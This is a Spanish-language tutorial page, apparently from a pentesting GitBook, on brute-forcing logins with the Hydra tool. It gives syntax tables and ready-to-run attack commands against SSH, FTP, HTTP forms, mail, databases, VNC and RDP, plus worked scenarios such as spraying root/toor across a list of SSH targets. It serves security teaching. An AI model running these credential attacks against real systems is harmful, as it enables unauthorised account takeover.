🔑Bruteforce con Hydra
Hydra es una herramienta versátil que puede atacar por fuerza bruta una amplia gama de servicios, incluyendo aplicaciones web, servicios de inicio de sesión remoto como SSH y FTP, bases de datos...
Puedes consultar una sección del GitBook dedicada a esta herramienta:
🐍HydraUso básico
La sintaxis básica de Hydra es:
afsh4ck@kali$ hydra [login_options] [password_options] [attack_options] [service_options]
Parámetro
Explicación
Ejemplo de uso
-l USUARIO
o -L ARCHIVO
Opciones de inicio de sesión: especifique un solo nombre de usuario ( -l
) o un archivo que contenga una lista de nombres de usuario ( -L
).
hydra -l admin ...
o hydra -L usernames.txt ...
-p PASS
o -P ARCHIVO
Opciones de contraseña: proporcione una única contraseña ( -p
) o un archivo que contenga una lista de contraseñas ( -P
).
hydra -p password123 ...
ohydra -P passwords.txt ...
-t TASKS
Tareas: define la cantidad de tareas paralelas (subprocesos) a ejecutar, lo que potencialmente acelerará el ataque.
hydra -t 4 ...
-f
Modo rápido: detiene el ataque después de encontrar el primer inicio de sesión exitoso.
hydra -f ...
-s PUERTO
Puerto: especifique un puerto no predeterminado para el servicio de destino.
hydra -s 2222 ...
-v
o -V
Salida detallada: muestra información detallada sobre el progreso del ataque, incluidos los intentos y los resultados.
hydra -v ...
o hydra -V ...
(para mayor verbosidad)
service://server
Objetivo: especifique el servicio (por ejemplo, ssh
, http
, ftp
) y la dirección o el nombre de host del servidor de destino.
hydra ssh://192.168.1.100
/OPT
Opciones específicas del servicio: proporcione cualquier opción adicional requerida por el servicio de destino.
hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^"
(para autenticación basada en formulario HTTP)
Servicios Hydra
Los servicios de Hydra definen esencialmente los protocolos o servicios específicos a los que Hydra puede acceder. Permiten que Hydra interactúe con diferentes mecanismos de autenticación utilizados por diversos sistemas, aplicaciones y servicios de red. Cada módulo está diseñado para comprender los patrones de comunicación y los requisitos de autenticación de un protocolo específico, lo que permite a Hydra enviar solicitudes de inicio de sesión adecuadas e interpretar las respuestas. A continuación, se muestra una tabla de servicios de uso común:
Servicio
Servicio/Protocolo
Descripción
Comando de ejemplo
FTP
Protocolo de transferencia de archivos (FTP)
Se utiliza para forzar las credenciales de inicio de sesión para servicios FTP, comúnmente utilizados para transferir archivos a través de una red.
hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100
ssh
Shell seguro (SSH)
Dirige los servicios SSH a credenciales de fuerza bruta, comúnmente utilizadas para el inicio de sesión remoto seguro en los sistemas.
hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100
http-get/post
Servicios web HTTP
Se utiliza para forzar las credenciales de inicio de sesión para formularios de inicio de sesión web HTTP mediante solicitudes GET o POST.
hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
SMTP
Protocolo simple de transferencia de correo
Ataca servidores de correo electrónico mediante la fuerza bruta de las credenciales de inicio de sesión para SMTP, comúnmente utilizadas para enviar correos electrónicos.
hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com
pop3
Protocolo de oficina postal (POP3)
Dirige los servicios de recuperación de correo electrónico para forzar la obtención de credenciales para el inicio de sesión POP3.
hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com
IMAP
Protocolo de acceso a mensajes de Internet
Se utiliza para forzar las credenciales de los servicios IMAP, que permiten a los usuarios acceder a su correo electrónico de forma remota.
hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com
MySQL
Base de datos MySQL
Intentos de forzar la obtención de credenciales de inicio de sesión para bases de datos MySQL.
hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100
mssql
Microsoft SQL Server
Dirige a servidores Microsoft SQL para forzar la obtención de credenciales de inicio de sesión de la base de datos.
hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100
VNC
Computación en red virtual (VNC)
Servicios VNC de fuerza bruta, utilizados para acceso a escritorio remoto.
hydra -P /path/to/password_list.txt vnc://192.168.1.100
RDP
Protocolo de escritorio remoto (RDP)
Tiene como objetivo los servicios RDP de Microsoft para realizar ataques de fuerza bruta al inicio de sesión remoto.
hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100
Autenticación HTTP por fuerza bruta
Imagina que te encargan probar la seguridad de un sitio web mediante autenticación HTTP básica en www.example.com
. Tienes una lista de posibles nombres de usuario almacenados en usernames.txt
y sus correspondientes contraseñas en passwords.txt
. Para lanzar un ataque de fuerza bruta contra este servicio HTTP, usa el siguiente comando de Hydra:
afsh4ck@kali$ hydra -L usernames.txt -P passwords.txt www.example.com http-get
Este comando le indica a Hydra que:
Utilice la lista de nombres de usuario del archivo
usernames.txt
.Utilice la lista de contraseñas del archivo
passwords.txt
.Apunte al sitio web
www.example.com
.Utilice el módulo
http-get
para probar la autenticación HTTP.
Hydra probará sistemáticamente cada combinación de nombre de usuario y contraseña en el sitio web de destino para descubrir un inicio de sesión válido.
Bruteforce de múltiples servidores SSH
Imagine una situación en la que ha identificado varios servidores que podrían ser vulnerables a ataques de fuerza bruta SSH. Compila sus direcciones IP en un archivo llamado targets.txt
y sabe que estos servidores podrían usar el nombre de usuario predeterminado "root
" y la contraseña "toor
". Para probar eficazmente todos estos servidores simultáneamente, use el siguiente comando de Hydra:
afsh4ck@kali$ hydra -l root -p toor -M targets.txt ssh
Este comando le indica a Hydra que:
Utilice el nombre de usuario "
root
".Utilice la contraseña "
toor
".Apunte a todas las direcciones IP enumeradas en el archivo
targets.txt
.Utilice el módulo
ssh
para el ataque.
Hydra ejecutará intentos de fuerza bruta paralelos en cada servidor, acelerando significativamente el proceso.
Bruteforce de FTP en un puerto no estándar
Imagina que necesitas evaluar la seguridad de un servidor FTP alojado en ftp.example.com
, que opera en un puerto no estándar 2121
. Tienes listas de posibles nombres de usuario y contraseñas almacenadas en usernames.txt
y passwords.txt
, respectivamente. Para probar estas credenciales con el servicio FTP, usa el siguiente comando de Hydra:
afsh4ck@kali$ hydra -L usernames.txt -P passwords.txt -s 2121 -V ftp.example.com ftp
Este comando le indica a Hydra que:
Utilice la lista de nombres de usuario
usernames.txt
.Utilice la lista de contraseñas
passwords.txt
.Apunte al servicio FTP
ftp.example.com
a través del puerto2121
.Utilice el módulo
ftp
y proporcione una salida detallada (-V
) para un monitoreo detallado.
Hydra intentará hacer coincidir cada combinación de nombre de usuario y contraseña con el servidor FTP en el puerto especificado.
Bruteforce de formulario de inicio de sesión web
Supongamos que se le solicita que ataque por fuerza bruta un formulario de inicio de sesión en una aplicación web en www.example.com
. Sabe que el nombre de usuario es "admin
" y que los parámetros del formulario de inicio de sesión son user=^USER^&pass=^PASS^
. Para realizar este ataque, use el siguiente comando de Hydra:
afsh4ck@kali$ hydra -l admin -P passwords.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
Este comando le indica a Hydra que:
Utilice el nombre de usuario "
admin
".Utilice la lista de contraseñas
passwords.txt
.Apunte al formulario de inicio de sesión
/login
enwww.example.com
.Utilice el módulo
http-post-form
con los parámetros de formulario especificados.Busque un inicio de sesión exitoso indicado por el código de estado HTTP
302
.
Hydra intentará sistemáticamente cada contraseña para la cuenta "admin", verificando la condición de éxito especificada.
Bruteforce avanzado de RDP
Ahora, imagina que estás probando un servicio de Protocolo de Escritorio Remoto (RDP) en un servidor con IP 192.168.1.100
. Sospechas que el nombre de usuario es "administrator
" y que la contraseña consta de 6 a 8 caracteres, incluyendo minúsculas, mayúsculas y números. Para ejecutar este ataque, usa el siguiente comando de Hydra:
afsh4ck@kali$ hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp
Este comando le indica a Hydra que:
Utilice el nombre de usuario "
administrator
".Genere y pruebe contraseñas de entre 6 y 8 caracteres, utilizando el conjunto de caracteres especificado.
Apunte al servicio RDP en
192.168.1.100
.Utilice el módulo
rdp
para el ataque.
Hydra generará y probará todas las combinaciones de contraseñas posibles dentro de los parámetros especificados, intentando ingresar al servicio RDP.
Última actualización
¿Te fue útil?